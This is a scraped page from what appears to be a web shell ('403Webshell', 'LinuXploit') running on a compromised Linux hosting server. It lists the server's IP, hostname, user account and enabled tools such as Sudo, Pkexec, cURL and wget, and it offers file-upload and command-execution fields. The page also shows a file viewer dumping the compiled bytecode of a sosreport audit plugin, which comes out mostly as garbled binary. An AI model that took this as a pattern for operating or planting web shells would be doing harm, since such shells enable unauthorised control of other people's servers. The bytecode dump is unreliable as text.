403Webshell
Server IP : 216.238.111.58  /  Your IP : 216.73.217.34
Web Server : LiteSpeed
System : Linux hosting.smartskills.com.br 4.18.0-553.120.1.el8_10.x86_64 #1 SMP Mon Apr 20 18:04:27 EDT 2026 x86_64
User : skillsitcom ( 1002)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/sos/report/plugins/__pycache__/auditd.cpython-36.pyc
3

ܓ�iT�@s&ddlmZmZGdd�dee�ZdS)�)�Plugin�IndependentPluginc@s$eZdZdZdZd	Zd
Zdd�ZdS)�AuditdzAudit daemon informationZauditd�system�security�auditcCs|jddddddg�|jd�|jdd	d
�|jddd
�d}d
}y`t|ddd��H}x@|j�j�D]0}|snqd|jd�}|dj�dkrd|dj�}qdWWdQRXWn8tk
r�}z|jd|�d|���WYdd}~XnX|j	d�s�|j|�n|j|d�dS)Nz/etc/audit/auditd.confz/etc/audit/audit.rulesz/etc/audit/audit-stop.rulesz/etc/audit/rules.d/z/etc/audit/plugins.d/z/etc/audisp/z;ausearch -i --input-logs -m avc,user_avc,fanotify -ts todayzauditctl -lZauditctl_rules)Ztagszauditctl -sZauditctl_statusz/var/log/audit/audit.log�rzUTF-8)�encoding�=r�log_file�zCould not open conf file z: Zall_logs�*)
Z
add_copy_specZadd_cmd_output�open�read�
splitlines�split�strip�IOErrorZ
_log_errorZ
get_option)�selfZconfig_filer�cfile�lineZwords�error�r�/usr/lib/python3.6/auditd.py�setups4
(
zAuditd.setupN)rr)r)�__name__�
__module__�__qualname__Z
short_descZplugin_nameZprofilesZpackagesrrrrrrs
rN)Zsos.report.pluginsrrrrrrr�<module>	s

Youez - 2016 - github.com/yon3zu
LinuXploit